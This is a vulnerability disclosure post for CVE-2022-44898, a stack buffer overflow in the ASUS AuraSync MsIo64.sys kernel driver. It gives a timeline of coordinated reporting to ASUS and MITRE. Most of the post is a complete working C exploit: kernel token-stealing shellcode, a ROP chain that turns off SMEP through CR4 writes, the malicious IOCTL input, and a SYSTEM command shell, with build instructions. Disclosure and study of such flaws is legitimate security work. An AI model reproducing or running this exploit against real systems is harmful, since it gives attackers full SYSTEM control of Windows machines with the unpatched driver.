Home CVE-2022-44898: ASUS AuraSync Kernel Stack Based Buffer Overflow Local Privilege Escalation
Post
Cancel

CVE-2022-44898: ASUS AuraSync Kernel Stack Based Buffer Overflow Local Privilege Escalation

0x01: Details

0x02: Test Environment

OS : windows 10 pro 64-bit 21H2 (build 19044.1826)

ASUS AuraSync : 1.07.79_V2.2

0x03: Vulnerability details

The kernel driver MsIo64.sys is included in Asus AuraSync 1.07.79. A stack-based buffer overflow exists in this kernel driver IOCTL dispatch function.

0x04: Technical description

When you download ASUS AURA SYNC software, MsIo64.sys driver is installed together. In the IOCTL code of this driver, the memmove function is called at 0x80102040, but there is no path check at this time, so a stack based buffer overflow vulnerability may occur.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_113F0(__int64 a1, IRP *a2) {
	ULONG_PTR Src[2]; // [rsp+30h] [rbp-48h]
	...
	switch ( LowPart )
	{
		case 0x80102040:
		  DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
		  if ( !(_DWORD)Options )
		    goto LABEL_9;
		  memmove(Src, MasterIrp, Options);
		  v11 = sub_FFFFF80375F91090((PHYSICAL_ADDRESS)Src[1], Src[0], &BaseAddress, &Handle, &Object);
		  if ( v11 >= 0 )
		  {
		    memmove(MasterIrp, Src, Options);
		    a2->IoStatus.Information = Options;
		  }
		  a2->IoStatus.Status = v11;
		  break;
	...
}

MasterIrp is lpInBuffer as an argument when calling the DeviceIoControl function. Since lpInBuffer is moved to Src, and the length is not checked, a rop attack is possible by changing the dispatch function return address.

0x05: Proof-of-Concept (PoC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <string>
#include <Windows.h>
#include <Psapi.h>
#define IOCTL_CODE 0x80102040

BYTE shellcode_[] =
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, gs:[188h]       ; _ETHREAD
"\x4C\x8B\x82\x20\x02\x00\x00"              // mov r8, [rdx + 220h]     ; _EPROCESS
"\x4D\x8B\x88\x48\x04\x00\x00"              // mov r9, [r8 + 448h]      ; ActiveProcessLinks
"\x49\x8B\x09"                              // mov rcx, [r9]            

// GetProcessByPid
"\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; UniqueProcessId
"\x48\x83\xFA\x04"                          // cmp rdx, 4               ; PID 4 SYSTEM process
"\x74\x05"                                  // jz found_system          ; SYSTEM token
"\x48\x8B\x09"                              // mov rcx, [rcx]           ; _LIST_ENTRY Flink
"\xEB\xF1"                                  // jmp find_system_proc     ; While
// FoundGetProcess

"\x48\x8B\x41\x70"                          // mov rax, [rcx + 70h]     ; Get Token
"\x24\xF0"                                  // and al, 0f0h             
// FindProcess

"\x48\x8B\x51\xF8"                          // mov rdx, [rcx-8]         ; UniqueProcessId
"\x48\x81\xFA\x00\x00\x00\x00"              // cmp rdx, 0d54h           ; if UniqueProcessId == CurrentPid
"\x74\x05"                                  // jz found_cmd             ; True - jump FoundProcess
"\x48\x8B\x09"                              // mov rcx, [rcx]           ; False - next entry
"\xEB\xEE"                                  // jmp find_cmd             ; jump FindProcess
// FoundProcess

"\x48\x89\x41\x70"                          // mov [rcx+70h], rax       ; Overwrite SYSTEM token
"\x48\x31\xc0"                              // xor rax rax 
"\x48\x31\xc9"                              // xor rcx rcx              
"\x48\x31\xf6"                              // xor rsi,rsi
"\x48\x31\xff"                              // xor rdi, rdi
"\x4D\x31\xC0"                              // xor r8, r8
"\x48\xc7\xc1\xf8\x06\x35\x00"              // mov rcx, 0x3506f8        ; original cr4
"\xc3";                                     // ret

LPVOID GetBaseAddr(const char* drvname) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        char szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (strcmp(szDrivers, drvname) == 0) {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

void exploit() {
    DWORD pid = GetCurrentProcessId();
    INT64 ntoskrnl = (INT64)GetBaseAddr("ntoskrnl.exe");
    HANDLE hDevice;

    hDevice = CreateFileA("\\\\.\\MsIo", FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error device open %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Success device open\n");

    // Allocate executable memory
    BYTE* shellcode = (BYTE*)VirtualAlloc(NULL, sizeof(shellcode_), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(shellcode, shellcode_, sizeof(shellcode_));
    memcpy(shellcode + 54, &pid, sizeof(pid));              // Change the pid of the shellcode

    INT64 disable_SMEP = 0x250ef8;                          // cr4 value, disable SMEP
    INT64 enable_SMEP = 0x350ef8;                           // cr4 value, enable SMEP
    INT64 pop_rcx = ntoskrnl + 0x314f03;                    // pop rcx; ret
    INT64 mov_cr4 = ntoskrnl + 0x9a4217;                    // mov cr4, rcx; ret
    INT64 wbinvd = ntoskrnl + 0x37fb50;                     // wbinvd; ret
    INT64 ret = pop_rcx + 1;                                // ret

    printf("[+] SMEP disabled\n");

    BYTE input[136] = { 0, };
    memset(input, 0x90, 72);                        // dummy
    memcpy(input + 72, &pop_rcx, 8);                // pop rcx
    memcpy(input + 80, &disable_SMEP, 8);           // disable SMEP value
    memcpy(input + 88, &mov_cr4, 8);                // mov cr4, rcx
    memcpy(input + 96, &wbinvd, 8);                 // wbinvd; ret
    memcpy(input + 104, &shellcode, 8);             // shellcode
    memcpy(input + 112, &mov_cr4, 8);               // mov cr4, rcx 
    memcpy(input + 120, &ret, 8);                   // restore rsp(stack)
    memcpy(input + 128, &ret, 8);                   // restore rsp(stack)

    DWORD temp;
    if (!DeviceIoControl(hDevice, IOCTL_CODE, input, sizeof(input), NULL, 0, &temp, NULL)) {
        printf("[-] Failed DeviceIoControl %d\n", GetLastError());
        exit(1);
    }

    printf("[+] SMEP enabled\n");
    printf("[+] Sucesss execute shellcode\n");
    printf("[+] Success Get SYSTEM shell\n");
    printf("\n\n");
    system("cmd");
}

int main() {
    exploit();
    return 0;
}
  1. Use Visual Studio 2019
  2. Compile with x64 release mode
  3. Execute the compiled file

0x06: Affected Products

This vulnerability affects the following product:

  • ASUS AuraSync ≤ 1.07.79_V2.2

0x07: Credit information

HeeChan Kim (@heegong123) of TeamH4C

0x08: TimeLine

  • 2022/07/28 : First contact via E-Mail (security@asus.com) to negotiate a security channel;
  • 2022/08/01 : I received a call from Asus Security to analyze the vulnerability.
  • 2022/08/09 : I was provided with a patched version of the vulnerability.
  • 2022/09/18 : My name is inducted into the Asus Hall of Fame.
  • 2022/10/11 : The latest version update notice has been posted in the ASUS Latest security updates.
  • 2022/11/01 : Request a CVE id via MITRE.
  • 2023/02/07 : Received a call from MITRE for CVE-2022-44898.

0x09: Reference

This post is licensed under CC BY 4.0 by the author.

CVE-2022-39846: DLL hijacking vulnerability in Smart Switch PC

CVE-2022-45422: LG Smart Share Local Privilege Escalation Vulnerability